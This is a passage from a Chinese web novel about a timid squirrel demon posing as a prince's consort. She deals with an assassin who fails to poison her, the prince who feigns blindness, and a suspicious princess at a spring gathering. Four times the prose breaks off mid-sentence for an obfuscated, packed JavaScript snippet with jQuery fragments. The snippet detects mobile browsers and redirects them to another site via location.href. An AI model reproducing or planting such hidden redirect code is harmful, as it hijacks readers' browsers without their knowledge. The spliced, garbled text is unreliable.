至于为何先伤他再救他,还摆出这样一副假意害怕的样子…… 恐怕都是为了让他轻敌,放下防备,然后从他口中套出不法天的消息。 笑话,他们自小就在地狱般的修罗场中长大,为了活下去,什么手段没见过? 欲擒故纵,绝境怀柔。 当他不法天的罗刹都是没脑子的?先杀再救,用美人计来哄哄就什么都招了? 男人冷笑一声,没有说话,静静地看着女子的动作。 他倒要看看,接下来还有什么招数在等着他。 金敏没等到男人的回答,心里七上八下的。看这男人的眼神如刀,像是下一秒就要把她片成松鼠鳜鱼。 难不成是在想如何报复她、找除妖师来对付她,让她不得好死? 金敏骤然打了个哆嗦,她一个柔弱的小妖,万一碰上除妖师,恐怕连渣都不剩。 她抱紧身前的柱子,小脑瓜疯狂运转,努力地想现在应该怎么办。 眼见男人突然动了一下,她心中大叫不好,不能让他去找外援! “等一下!” 她嗖的冲出去,拦在屋门口,惊慌道:“人,你不能走!伤了你是我不对,给我个补救的机会不行吗?” 她都诚心道歉了,就别这么杀气冲冲的找除妖师来杀她了! 男人眼底闪过一丝冷意。 只有妖才会使用“人”这个称呼,这个女人绝对是妖。 安王居然请妖来贴身保护? 看来他想要完成刺杀安王的任务,就必须想办法先解决掉这个不知来路的妖。 以此妖的实力来看,他想要硬闯出去不太可能,只能先假意顺从再伺机下手。 …… “王爷,查到了。” 一暗卫毕恭毕敬的回禀。 “今日的确有人潜入府中,看身型和武功路数,像是不法天的罗刹偿命。” “偿命?”薛言辞眉头微微一蹙,有些不可思议。 不法天二十年前被先皇强势清剿过一次,新一代十二罗刹也是在三年前才开始崭露头角的。 他们体质异于常人,在不法天的残酷训练下几乎可以说是刀枪不入,令人闻风丧胆。 十二位罗刹里,属断魂和偿命二人实力最盛。 刺杀他一个瞎子,竟然能劳偿命亲自出手,看来这买凶的雇主很把他当回事啊? 想到这,薛言辞难得的高兴起来。 “他人现在在哪?待本王去会会他。” “这……”暗卫有些难以启齿,“他被王妃带回飞星阁了。” 薛言辞:“……” 又是王妃。 能这么轻易的把偿命带走,二人定是一伙的,想要来个里应外合。 想到这,薛言辞又问:“今日本王练箭时,王妃的动作你可瞧见了?” “是。” “可能看出什么路数?” 暗卫又犯了难,沉吟半晌,才支支吾吾道:“属下……没瞧出来。” 不是他不愿意说,实在是王妃挥手和闪走的动作,怎么看都像是根本不会武功的人。 但是不会武功的人怎么可能抬手击碎箭矢,发挥出顶级轻功都达不到的速度? 怎么想怎么矛盾,他不知该怎么答,只能猜测是自己孤陋寡闻,或许人家用的是什么新兴门派的武功呢? 薛言辞见问不出什么新的东西,冷嗤一声:“废物,拉出去砍了。” 暗卫扯了扯嘴角,十分配合的被两个侍卫拖走,还喊了句:“王爷饶命啊——” 薛言辞抖抖袖子,余光扫过院子里大开大合拔刀演戏的两个侍卫,独自出门,向着飞星阁的方向走去。 此时金敏刚从小厨房偷了几个馒头出来,小心翼翼的放在偿命面前的桌上。 这还是她第一次养人,怕他饿,粮食不能断。 在这段时间里她得想办法让这个人原谅她,不能记她的仇,彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101519|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底杜绝后患。 偿命看着对面女子一点一点把那几个馒头往他面前推,眼底全是不解。 这戏是不是有点太过了? 不管了,正事要紧。 他拿了个馒头,身型一侧,挡住金敏的视线,快速在上面撒了一层药粉。 这是不法天特制的、专门用来对付妖的药。 不管再厉害的妖,只要服用了此药,就会被灼烧妖脉,失去所有妖力被迫现出原型。 他不动声色的将馒头递到金敏面前:“你先吃。” 金敏确实有点饿了,晚饭都没吃上几口呢,于是也没跟他客气,接过馒头就咬。 边嚼边道:“人,你还怪好的。” 偿命见她一点都不防备,嘴角挑起一抹冷笑。 世人皆知不法天是第一杀手组织,但他们都不知道,十二罗刹除了杀人还能斩妖。 安王请妖来贴身保护固然聪明,可他自小练习的斩妖之法也不是吃素的。 果然,女子刚吃了半个馒头,眉头一皱,身子弓了起来。 “哎呦……肚子好痛……” 金敏不得已放下手里那剩下的半个馒头,皱巴着小脸,转头似乎在找什么东西。 偿命注意着她的动作,猜测她是要找路逃跑,右手摸向剑炳。他们的剑鞘都是特制的,内存两把剑。一把用来杀人,一把用来斩妖。 斩妖剑慢慢出鞘,金敏终于忍不住,一溜烟儿的窜出了门。 偿命当即追上,目光犀利,死咬着目标不放。 一人一妖的速度极快,一个跑一个追,在院子里掠出了残影,终于在找到一处地点时停下了追逐战。 偿命持剑还保持着追杀的动作,盯着眼前的建筑难得的陷入了纠结。 ……茅房? 那他还继续追吗? 理智告诉他现在应该强力破除建筑,炸了茅坑也要把那妖揪出来杀掉。 但是道德上又有点…… 不对。 偿命猛地反应过来,他是杀手,杀手要什么道德?杀掉就成! 于是他重新举剑,左手快速在空中结出一道封锁印,直击茅房大门。 然而几乎就在接触到门的同时,那道门“啪”的被里面的人推开。 咒印被门猛地打回来,反击在他身上,将他逼退好几步。 再抬头时,就看到金敏那张天真无辜的脸眨巴着大眼睛瞧他。 “你……怎么了?你也要上茅房吗?” 金敏摸摸肚子,往旁边撤了一步,给他让道。 “我刚才有点闹肚子,不过现在好了,你去吧。” 偿命盯着面前女人的脸看了好半晌,不可置信的问:“你只是……闹肚子?” 他的噬妖散药效多强他是知道的,结果这女人吃了这么多,竟然只是简单的闹了一场肚子? 而且现在这脸色看起来清清爽爽,一点都没有强撑的意思。 金敏无知无觉的点点头:“对呀,可能是刚才吃的东西不干净吧。” 说完一边伸懒腰一边往屋里走。 偿命心神已被扰乱,不信邪的掏出一面镜子,对着她的背影。 “灵虚镜,鉴!” 镜面金光一闪,清晰的映出女子背影,非常正常。 又掏出一道绳索:“缚灵索,收!” 绳索“嗖”的飞出去,绕着金敏转了两圈,松松垮垮的挂在她身上。 金敏疑惑的低头,随手把绳子拎在手里,转身问他:“这是什么?” 偿命嘴唇蠕动半晌,黑着脸不吭不哈的从她面前掠过,顺手抢回了他的缚灵索。 5. 第5章 金敏望着男人消失在屋门后的背影,不明所以的挠挠头。 余光见院门外有一个身影,她面色一喜,向那边跑去。 “王爷?” 她来到院门口,和薛言辞隔了三步的距离:“王爷您怎么来了?” 薛言辞语调淡淡:“怎么,本王来不得?” “不是。”金敏诚恳道,“你不来,我也要去找你。你来了,就省得我再跑了。” 她还要再仔细瞧瞧薛言辞的眼睛,顺便试试她的灵露能不能用。 薛言辞暗戳戳的偏头瞧了瞧天色,夜幕已经降临,凉风习习,月明星稀。 这个时间去找他? 这女人想要的还挺多。 不过回想起刚才院里发生的事,薛言辞心中微微安定了些。 还没走到飞星阁时,大老远就能看到这里笼罩着一层淡淡的金光,像一个倒扣着的钵,将整座建筑笼罩在内。 虽然以前从没见过,但他仅凭肉眼观测的感觉就知道,这罩子能把人困住。 罩子上的光晕和王妃尾巴上的光晕是一样的,那是谁弄出来的就不言而喻了。 再加上刚才偿命那一通失了章法的操作,足以证明他们两人不是一伙的。 甚至偿命可能还对付不了这个女人,导致自己心神全乱—— 方才他都已经走到门口了,偿命居然都没有发现,说明他此时正面临着足够突破他心理防线的惊骇,导致他完全没有心思去注意周围环境,这对于杀手来说可是大忌。 既然这女人不是不法天派来的,那危险程度就没有那么高。 可以再观察观察。 他轻咳一声,朝金敏伸出右手。 金敏会意,赶紧来扶他进屋。 跨进门槛时她淡淡的“咦”了一声,因为她注意到偿命已经跃上了房梁,将自己隐藏在黑暗中。 难道他也和自己一样,害怕见人? 金敏咂咂嘴,对这个人更共情了些,就装作无事发生,扶着薛言辞到桌边坐下。 偿命在房梁上悄无声息的观察下方两人的动作,在薛言辞转身的那一瞬间,两人似乎短暂的对上了视线。 不安的直觉袭来,他心中警铃大作,下意识的握住了剑柄。 薛言辞却好像只是在转身时无意面向了这边,动作毫无停留,坐下后右手在桌上探索着摸了两下才算坐定。 偿命紧握着剑柄的手慢慢放松下来。 他怎么给忘了,这安王是个瞎子呢? 此时薛言辞“摸”到桌上剩下的两个馒头,语气不解:“他们给你吃这个?” “不是……” 金敏有些心虚的捏住衣角,眼瞅着被抓了个现行,只好承认:“是我自己去厨房偷的。” “偷?”薛言辞眉头一挑,这个说法他属实是没想到,荒谬又好笑。 “既然都偷了,府中厨房那么多山珍海味,为何单单只拿几个馒头?” 偷都不知道偷点好的,多大点出息。 金敏讷讷解释:“毛毛说过,偷吃的要偷那种扔在角落里的、最好是放了好几天还有点脏的那种,这样就算被发现了也不至于被打死。” 毛毛? 薛言辞指尖轻轻在桌上一点。 应该是同伙。 他轻轻“嗯”了一声,唠家常一般开口:“是王妃的朋友吗?改日请来王府坐坐?” “这……恐怕不行。” “怎么,本王的面子不够大,请不动这尊大佛?” “不是的。”金敏摇摇头,没听出薛言辞话里的压迫感,声音平静如常:“她很早就死了,所以来不了。” 薛言辞:“……” 他哑了火,默默喝了口茶,掩盖住眼底的情绪。 余光见偿命从房梁的这头移到那头,那是个更利于对他下手的位置。 薛言辞不动声色的微微侧身,目光落在低着头绞着手指不知在想什么的女人身上。 如今屋里只有三人,他明面上没带任何人,暗卫也都在外面。 若是偿命此时下手,成功率很高。 但是他显然是顾忌这个女人,就这一会儿的时间已经犹豫了好几次。 看来他的猜测没错,这女人不是不法天的人,她和偿命之间有着微妙的制衡关系—— 她会阻拦偿命对他出手,但是也不会主动将偿命暴露出来。 了解到这个,薛言辞心中就有了数。 他站起身慢慢向外走,到门口时留下一句:“以后就让纸黛和青砚跟着你,身为王妃身边没个人伺候也不像话。想吃什么让厨房给你做,别偷偷摸摸的。” …… 正值三月暮春时节,百花齐放,一派祥和胜景。 每年这个时候,都会由定澜公主主持举办踏春雅集。 按照以往的惯例,踏春雅集应当是由皇后主持。 但是薛燃的皇后性子腼腆内向,身体娇弱又不善与人交往,办了一次实在是力不从心。 薛燃心疼皇后,就做主将这件事交给了妹妹定澜公主薛言律。 薛言律与薛言辞一胎双生,却从小就互相不对付,拌嘴打架是家常便饭。 长大后关系也没有任何改善,如今已经到了完全不往来的地步。 给安王府递帖子也只是碍于规矩,不得不走流程罢了。 往年薛言辞都是不去的。 不过今年不一样,他的眼睛恢复了,于是他就想去看看那些在他面前口无遮拦的究竟是人是鬼。 一大早金敏被纸黛叫起来,梳妆打扮折腾了一个多时辰,顶着一身金灿灿华丽丽的衣裳首饰,在镜子面前睁不开眼。 她犹豫再三,举手小声提问:“这……是不是……太张扬了?” 穿成这样,太容易被苍鹰盯上了,把她抓走吃掉怎么办? “怎么会!”青砚睁大了眼睛,“您是安王妃,排场一定要端起来。” 金敏不安的抿了抿唇,又问:“京城中……苍鹰多吗?” “苍鹰?”纸黛不知道王妃怎么话题转变的这么快,这还真触及到了她的盲点。 “这个……应该没有吧?”她挠挠头,看向青砚,得到了肯定的眼神之后才重复道:“王妃放心,别院那边有侍卫看守的。” 且不说这种猛禽袭击人的事情极少发生,就算真遇上了,也有鳞甲卫出手将其击落。 王妃实在是多虑了。 梳妆完毕,金敏在青砚的搀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101520|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶下慢慢走出屋门。 薛言辞已经在院中等着,见大门打开,他下意识向这边转过来。接触到女子的面庞后,银灰色的瞳孔微微一动。 金敏提着石榴红撒花软缎裙,略显拘谨的踏出门槛,裙上的金线在步入阳光后璀璨闪烁,连带整个院子都跟着明艳起来。 少女肌肤莹白,杏眼盈盈,似乎有些羞怯。头上的赤金流苏步摇随着步子流动,为她更添一层灵动娇俏。 薛言辞喉结轻滚,面上依旧沉静,只是那双深邃的眸子一时忘了移开。 直到少女到了近前,有些郁闷地开口:“王爷,我真的不能不去吗?” 薛言辞轻咳一声,迅速看向院子里那棵歪歪扭扭的树,不近人情道:“你是想让本王被议论苛待王妃吗?” 一旁的纸黛和青砚像是听到了什么了不得的东西,对视一眼双双望天。 呦,王爷,您还会在意名声啊? “我没有这个意思。”金敏垂着耳朵唉声叹气,洗脑一样在心中重复十几遍“没关系的我现在也是人形我不能怕人”,然后一鼓作气快速窜上马车。 马车一路轻轻摇晃,金敏盯着男人的脸欲言又止。 “怎么了?” 薛言辞不用睁眼都知道她在看他,目光太明显了。 金敏问:“你的眼睛是天生就看不到吗?” “或许吧。”薛言辞面无波澜,“瞎子”“残废”这种词他从小到大听得多了,不至于被问一句就伤心难过。 金敏眉头微微一皱,这就有些难办了。 如果是先天失明,那她修炼得到的天地灵露应该不管用。 不过也不能放弃,说不定还有别的方法呢? 这么想着,金敏离他进了些,真诚的看着他:“我可以看看你的眼睛吗?” 薛言辞冷笑:“怎么,对本王如此感兴趣?” “嗯,我想试试看能不能帮你治好。” 金敏眼神过于真挚,反倒让薛言辞有些不自在,那句“你当自己多大的能耐”还是没能说出口。 他不说话,金敏就当他默认了,从座位上起身弯腰,凑近薛言辞的脸。 微凉的指尖轻轻触上薛言辞的眉骨,带起一连串微妙的触感。 薛言辞不自觉地屏住呼吸,眸光颤动。看着女子漂亮的琥珀色眸子,他甚至有点装不下去。 他头一次感觉到装瞎也是个考验人的活。 金敏歪着头看看他左眼,再歪过来看看他的右眼,实在是没看出什么。 他的瞳孔是银灰色的,很特别,在阳光下隐约能看出黑曜石一般的底色,她瞧不出这样的瞳色是天生的还是后天外伤所致。 金敏叹了口气,默默坐回原位,低着头不说话。 这下轮到薛言辞坐不住了。 他一会儿咳嗽两声,一会儿又伸手去拉车帘,见金敏迟迟没反应,才生硬的问:“可看出什么名堂了?” “没有。”金敏摇头,声音闷闷的,“都怪我太弱了,看不出有什么问题。” 薛言辞:“……” 太弱?不敢苟同。 他略显心虚的将目光移向车窗外。 看不出问题就对了,因为他现在已经没问题了。 6. 第6章 皇家别院踞于城郊浅山之下,青砖黛瓦掩在新绿里,颇有几分野趣。 被纸黛和青砚扶着下了马车,金敏嘴唇紧紧抿着,紧张兮兮的跟在薛言辞身后往里走。 门前小厮见他们二人先是一愣,照常收了帖子,然后趁着没人瞅见的空档跟旁边一个婢女低声说了两句什么。 那婢女快速抬眼在薛言辞身上扫了一眼,匆匆跑向内院。 薛言辞面色淡淡的,因为他已经听到院里传来了又尖又细的琐碎声音。 “哎呦,这不是那个瞎子王爷吗?好几年没看到他了,怎么今儿来了?” 又一个声音接上:“来得好来得妙,他一来我们又有热闹看了。” “也不知道今儿他要怎么出丑。” “那公主费心费劲的办雅集,被他一搅和又要办砸了,啧啧。” 这声音他记得。 那是五年前薛言律第一次办踏青雅集的时候,他嘴上嫌弃了很久,最后还是来了。 结果刚一进门就听到这声音说了句:“哎,怎么来了个瞎子?这不是赏花的吗,瞎子也能赏?” 十五岁的年纪正是敏感沉不住气的时候。 那声音尖锐刺耳,直扎心窝,激得他当场就暴躁起来,指着大概的方向叫嚷着把人拖下去砍了。 薛言律听到消息赶紧过来,刚到就被他劈头盖脸的骂了一顿。 原因无他,上行下效,别院这些人敢当着他的面这么说,一定是主子平时对他就是这个态度。 再加上薛言律一贯以有他这样的哥哥为耻,他几乎是完全不用考虑就认定了是薛言律在有意放任下人们这么说他。 私底下嘲讽他瞧不起他也就算了,皇室子弟最起码在人前要维持一下表面和平。 现在薛言律手下的人当着这么多贵胄子弟的面如此说他,叫他情何以堪? 薛言律也是个火爆性子,尤其面对薛言辞这个性格古怪说话气人的兄长时更没耐心。 兄妹俩大吵一架,让京中少爷小姐们好好看了一场热闹。 从那之后薛言辞就再没来过踏青雅集。 今日来的路上薛言辞就有所猜测,或许五年前那次他听到的不是“人”发出的声音。 现在眼睛复明,他有了视觉的窗户,才真切的感受到究竟是怎么一回事。 他微微抬头,眸光落在房檐下的燕巢,恶趣味的一挑眉。 “来人,这鸟叫声太吵了,给本王把鸟窝掀了。” 随着“叽——”的一声尖叫,薛言辞听到巢里的燕子气急败坏骂骂咧咧。 “我就说他来没好事吧!跟人闹腾也就算了,怎么要对我们下手啊!” “有病啊有病啊,我们的蛋怎么办!” 两只燕子在窝里急得乱转,想一口咬死薛言辞的心都有了。 下人们一见他开口,纷纷倒吸一口凉气。听他只是要捅鸟窝不是要捅人,又纷纷把那口气长吐出来。 金敏本来蔫头耷脑的跟在后面,两只燕子的对话她也听到了,但她没觉得有什么。 人喜欢看燕子打架互啄,燕子也喜欢看人吵嚷互掐,唯一的区别是燕子不能嗑瓜子而已。 至于“瞎子”一类的措辞,只是对人的形容。 就像人看到藏狐大多也会感慨一句“噫,好丑的狐狸”一样。 现在听到薛言辞突然要捅燕子窝,金敏一个激灵就抬起了头,想要阻拦又生生被周围的人吓得咽了回去。 她现在在人窝里面,而且这些人拿梯子的拿梯子,拿棍子的拿棍子,显然都是听薛言辞命令的。 她如果开口阻拦,会不会惹怒这些人,连带她一起打了? 但是燕子窝里还有好多蛋,燕子爹娘可以飞走,蛋怎么办呢? 她无措的环视四周,趁着人来人往的间隙,一小步一小步的往那边挪。 到了近处,已经捏了一手心的汗。 她小心地瞧了一眼薛言辞,然后抬头看向燕巢。 或许她可以试着偷偷接住掉下来的鸟蛋,先藏起来,再找机会还给燕子夫妇好了。 她紧张的吞吞口水,专心致志盯着爬上梯子的小厮。 然而就在小厮手里的棍子即将触碰到燕巢的前一秒,薛言辞的声音淡淡传来。 “算了。” 他不着痕迹的从金敏身上收回视线,懒洋洋道:“本王今日心情好,不吵的话就别管它们了。” 两只燕子瞬间噤声,在窝里瑟缩抱团。 金敏一颗心放回了肚子里,一身轻松的回了薛言辞身后。 薛言辞瞥她一眼,在玄笔的搀引下往里走去。 这景明别院是皇家专属的踏青之地,景致排布得极为精巧,入门便是一条蜿蜒的青石小径,小径两旁植满了桃、李、杏三种花树。 此时正是盛放时节,粉桃如霞,白李似雪,粉白相间的杏花坠满枝头。 风一吹,花瓣簌簌飘落,铺成满地锦绣。 每年此时举办雅集,已是京城延续多年的规制。 今日受邀而来的,皆是京中适龄的官宦子弟,或是簪缨世家的公子小姐,个个衣着鲜妍,气度不凡。 金敏本来还觉得自己这一身够招摇了,结果进来一对比,她马上就不那么扎眼了。 走到岔路,两人就要暂时先分开前往不同的席宴。 金敏又开始紧张起来,不过还没持续多久,就听到薛言辞交代她的声音传来。 “少说,少动,别给本王惹麻烦。” 想了想,薛言辞又补充了一句:“有人问什么你不知道的或是让你做什么不想做的,就说本王不让说,本王不让做,明白了吗?” 金敏心定了不少,点点头。 薛言辞率先往男席那边走,走了两步,又停下来,这次是对着纸黛和青砚。 “跟紧王妃,有什么事马上来寻本王。” 二人愣了一下,旋即眼中涌现出一种浓烈的、发自肺腑的激动。 果然成了亲就是不一样,瞧瞧王爷,为了保护王妃都变正常了。 正常的甚至有点不正常了。 她们两眼放光的点了点头,又将希冀的眼光投向金敏。 王妃可真是他们安王府的福星! 薛言辞一看就知道她们误会了什么,但是他现在还是个“瞎子”,看见了也只能装作没看见。 他默默叹了口气,但愿这个女人不要在这种场合闹出点惊天动地的动静。 金敏跟着引路婢女走向湖边,远远就能见到一片桃红柳绿和煦之景。 贵女们的交谈声嬉戏声传来,吓得金敏脑袋低的更狠了些。 婢女引她到了近前就躬身退下,她艰难的吞了口唾沫,硬着头皮小碎步往人少的地方挪。 不知是不是错觉,她感觉她一到此处,众人的声音就小了很多,还有很多视线聚焦在她身上。 那些视线大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101521|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多都不是善意的,一道道像是在催命。 金敏瞅中一处无人的凉亭,绷着后背垂眸朝那边挪。 但天不随人愿,走了一半,就听到有人在叫。 “皇嫂。” 金敏继续往前走。 “皇嫂!” 一袭裙摆撞进视野,金敏赶紧停步,下意识抬眸。 先入眼的是一身赤金色宫装,裙摆上用银线细细绣满了盛放的杏花,风起时裙摆微动,华贵得晃眼。 身着华衣的女子五官与薛言辞有八分相像,只是眉眼间少了些漠然,多了三分明媚张扬。举手投足间耳畔凤钗上缀着的几颗圆润东珠轻晃,折射出润泽的光。 身后的纸黛和青砚连忙行礼:“见过定澜公主。” 女子一开口,浑身的盛气凌人气势随之迸发。 “皇嫂这是急着做什么去?” 金敏一下子僵硬起来,手都不知道该往哪里放。 薛言律看着面前唯唯诺诺尽显鹌鹑之态的女子,眉头不着痕迹的一皱。 今日不止薛言辞言行古怪,这裴千霜怎么也跟变了个人似的? 以往这种场合,她可是一定要出尽风头,把在场各位挨个贬低一番才好显得她优秀又显眼的。 怎么今天这么低调? 整个京城中薛言律最讨厌的两个人,一个喜怒无常动不动就要砍人的薛言辞,一个眼高于顶平等瞧不起所有人的裴千霜。 如今俩人凑成了两口子,就更惹人嫌了。 薛言律连她们的婚礼都没去,借口道观里太冷清她要去陪太后清修。 今日她一听说这俩人来了雅集,真是一颗心提到嗓子眼去,生怕再给她掀出什么幺蛾子。 薛言辞今天一反常态的没有惹事的意思,那就只剩下裴千霜这个刺头。 薛言律上下打量面前的“裴千霜”一阵,总觉得哪里不对劲。 她和裴千霜也算是老对家了,大大小小的宴席聚会都少不得碰头,一年里明嘲暗讽笑里藏刀的要对上好几轮。 所以“裴千霜”稍微有点不对劲,她都能很敏锐的感觉到。 “皇嫂。”她眼神探究,“我记得上个月星月阁的月耀独珍被你定走了,怎么今儿没见你戴呢?” 这星月阁是京中最有名的首饰坊,其每月都会推出一款独一无二的珍品,称之为“月耀独珍”,万金难求。 很多贵女对此趋之若鹜,此时的月耀独珍已经不只是一套首饰,而是财力权力和家中对其宠爱程度的体现。 像薛言律这种含着金汤匙出生的大乾唯一的公主,对这东西没什么感觉。 但裴千霜一向虚荣,得了什么好东西就喜欢去别人面前炫耀。 尤其喜欢展示给门第不如她的、眼瞅着似乎买不起这东西的官家小姐看,还要顺便提一嘴“这东西很贵吗?不知道哎,外公非要给我买”“姑娘家要对自己好一点,这首饰不过是你半年的月银而已,戴上高兴比什么都重要”之类的话。 上个月裴千霜还是头一次抢到月耀独珍。 薛言律从知道这件事后,脑子里就已经有了裴孔雀顶着头面四处显摆的画面了。 以她的性子今儿不戴出来显摆她薛言律三个字倒着写。 金敏张了张嘴,不知道她在说什么,什么什么……针?她不会用针啊。 嗫嚅半天,只能讷讷说了句:“王爷不让。” 薛言律:“……?” 7. 第7章 这回答从“裴千霜”嘴里说出来实在过于惊世骇俗,以至于薛言律愣了好半天才呆呆的应了句:“啊?” 周围眼光投过来,她赶紧收敛脸上怔愣的神情,古怪地瞥了金敏一眼。 不对劲。 今天这两口子全都不对劲。 意识到这个的薛言律第一感觉是不安。 事出反常必有妖,虽然她不喜欢薛言辞这个兄长,但涉及到皇室安危,她还是得谨慎一些。 眼看金敏已经悄摸摸的从旁边溜走继续往角落里钻,薛言律一步横跨过去,再次挡住她的路。 “皇嫂。” 她换上笑眯眯的表情,唠家常一样开口:“之前皇嫂不是还说你的字是得裴公真传,在京中数一数二的吗?那边赵家妹妹和何家妹妹在写字,你不去看看?” 金敏随着她的目光一瞧,瞧见一群姑娘在那里,吓得赶紧收回视线。 “王爷……王爷不让。” 薛言律:“……” 她眼底神色淡了些,心中涌起莫名的诡异之感。 裴千霜现在这个样子,看起来像是被薛言辞这个“恶人”给磨平了棱角,恶人自有恶人磨。 但是这磨的也太过了吧? 薛言辞虽然令人讨厌,但也不至于几天之内能把裴千霜这样一个虚荣跋扈的女人治成这个样子。 别说什么“成了亲就好了”,那拜堂是仪式又不是法事,还能让人从里到外变一个人不成? 瞧瞧现在的裴千霜,行为怯懦眼神躲闪。 明明还是那张脸,却好像又不是原来那个人。 生于皇室,常年侵染权术练就的敏锐直觉告诉她,裴千霜有古怪。 她围着金敏绕了半圈,正巧那边两个放风筝的姑娘惊呼一声,风筝挂在了树上。 她眼珠一转,抬手止住不远处欲上前的小厮的动作,意味深长的看向金敏。 “皇嫂,你以前不是号称京中侠女吗?说什么师从神威将军的师公?既如此不如帮帮二位妹妹,把风筝拿下来?” 金敏嗓子有点干巴,艰难咽了口唾沫,继续道:“王爷不……” “皇嫂。” 薛言律骤然严肃起来,打断她的话,眼底闪过一丝危险。 “你以前可不是这样的,怎么今日像变了个人似的,连这点小忙都不愿意帮了?” 一听这话,金敏打心底里打了个哆嗦。 她她她……这是被怀疑了? 不行! 要是被人发现她是妖假扮的人,那岂不是要抓住她剥皮抽筋? 身后的纸黛到底是王府的老人,此时正站出来替她解释:“公主,今日王妃的穿着实在不适合爬树,不如奴婢去取风筝吧?” 薛言律没说话,只是深深看着面前女子的脸。 金敏被这目光盯得浑身难受,再加上周围越来越多的人围过来看热闹,她紧张又害怕,两条腿像是变成了两根木头,动都动不得。 青砚一看势头不对,今日公主是铁了心要为难王妃了,赶紧悄悄退后,寻了个空隙去找薛言辞。 金敏在众人的注视下,努力止住想要溜走的冲动。 她笑的比哭的难看,最后还是拖着僵硬的步伐,一步步苦哈哈的走向那棵高耸的银杏树。 银杏树在这里很多年了,也开了灵智,见着这个女娃爬个树都吓成这样不由得叹了口气。 金敏走到跟前,默默和它商量:“你可不可以低一些?” 银杏树有些惊讶,睁开眼仔细看了金敏一眼。 “女娃娃,你是妖?” “嗯……”金敏点头。 “你是什么妖?” 它资历没金敏高,看不出金敏的真身。 金敏诚实道:“松鼠妖。” “松鼠?” 不知为何,她好像在这棵老银杏上看到了无语的表情。 老银杏彻底不理她了。 她只好认命的卷起衣袖,仰头看了一眼挂得高高的风筝,一边祈祷不要遇见苍鹰一边往上爬。 此时周围已经全然安静下来,诸位来参宴的都是高门贵女,一个个都不傻,都能看出公主这是在有意为难。 就连平时和裴千霜走得最近的宁家小姐都躲在最后面一句话不敢说。 众人都在心中默默嘀咕,以前公主虽然看不惯裴千霜,但是也没有这样让人家下不来台过。 今儿安王正常了,怎么公主又开始为难人了? 还有些心思通透的、平时就和薛言律走得近的姑娘看出公主此番作为定有她自己的用意,便也不多说什么。 金敏爬到一半的时候速度明显降了下来,一些尘封已久的记忆虽然已经残缺褪色,但当时留下的恐惧余威尚在,激得她喉头发紧手脚颤抖,速度越来越慢。 树下薛言律沉默的看着她的身影,此时她已经确定了一件事,面前这个人根本不是裴千霜。 裴千霜绝不可能做出当众爬树这种事,不仅如此,还会在她提出让她爬树取风筝的无理要求时就驳斥回来,怒斥她这个公主目无礼法、不敬兄嫂,以权压人。 裴千霜被人换了? 薛言辞知道这事吗? 薛言律此时心中满是不安,且不说她和裴千霜关系怎么样,单就说安王妃被人神不知鬼不觉的换掉,就足够令人忌惮。 这次是换了王妃,下次是不是就可以换了安王?再下次呢?皇帝? 此时金敏已经艰难的靠近了风筝,她一身金灿灿的衣裳暴露在阳光下格外显眼。 或许是因为怕什么来什么,一声尖锐的鹰啸从远处传来。 金敏浑身一颤,嗖的缩回手浑身蜷缩成一个球,直溜溜从树干上掉下来。在一阵惊呼声中,落入了一个怀抱。 她惊魂未定的睁开眼,入眼是女子线条分明的下颌。 李执微垂眸看她一眼,掩盖住眼底一闪而过的厌恶,将她毫不客气的往身旁一放,掸了掸胳膊上不存在的灰尘。 要不是这个女人现在占着安王妃的名头,她丢脸就是安王丢脸,她才懒得管。 金敏惊魂未定,紧张兮兮的竖着耳朵听天上的动静,一个劲儿的往李执微身边靠。 虽然她恐人,但是在面对鹰的时候还是人面善一些,更何况还是个刚拉了她一把的酷姐姐。 李执微余光看着旁边没出息的女人,脸上浮现一抹嫌弃。 但也只是一瞬的事,下一秒她就对着薛言律抱手行礼,不卑不亢开口:“今日是踏春雅集,旨在京中同辈切磋风雅、共叙情谊,公主让安王妃爬树取风筝恐怕不妥吧?” 薛言律笑吟吟的摆手:“李将军说笑了,本宫只是和皇嫂开个玩笑而已。皇嫂,你不会生我的气吧?” 后半句她微一倾身,看向半挡在李执微身后的金敏。 金敏赶紧摇头表示没关系。 但是她觉得没关系,有人却不依不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 